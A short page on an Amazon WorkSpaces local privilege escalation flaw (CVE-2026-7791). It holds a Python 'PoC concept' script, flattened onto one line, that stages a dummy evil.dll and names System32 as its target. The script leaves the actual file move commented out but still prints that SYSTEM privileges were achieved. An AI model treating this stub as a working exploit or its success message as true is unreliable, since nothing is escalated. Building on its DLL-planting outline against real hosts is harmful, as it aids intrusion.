CVE-2026-7791 Amazon WorkSpaces本地提权漏洞

# PoC Concept for CVE-2026-7791 # This script simulates the logic of exploiting improper privilege management # in the log rotation mechanism to achieve arbitrary file write. import os import sys import time def trigger_exploit(): # Configuration target_service = "Skylight Workspace Config Service" payload_path = "C:\\temp\\evil.dll" destination_path = "C:\\Windows\\System32\\evil.dll" print(f"[*] Targeting: {target_service}") print(f"[*] Preparing payload at: {payload_path}") # Step 1: Create the malicious payload # In a real scenario, this would be a compiled DLL or EXE with open(payload_path, 'wb') as f: f.write(b'MZ') # Dummy PE header # Step 2: Wait for or trigger the log rotation event # The vulnerability allows placing the file in an arbitrary location # due to weak permissions on the log rotation mechanism. print("[*] Waiting for log rotation trigger...") # Simulation of the exploit logic # Exploit: Manipulate file handle or directory junction to redirect write try: # Hypothetical symlink creation or file copy simulation if os.path.exists(payload_path): print(f"[+] Arbitrarily moving file to {destination_path}") # os.rename(payload_path, destination_path) # Privileged operation simulation print("[+] Exploit successful: Privilege Escalation to SYSTEM achieved.") else: print("[-] Payload creation failed.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": trigger_exploit()
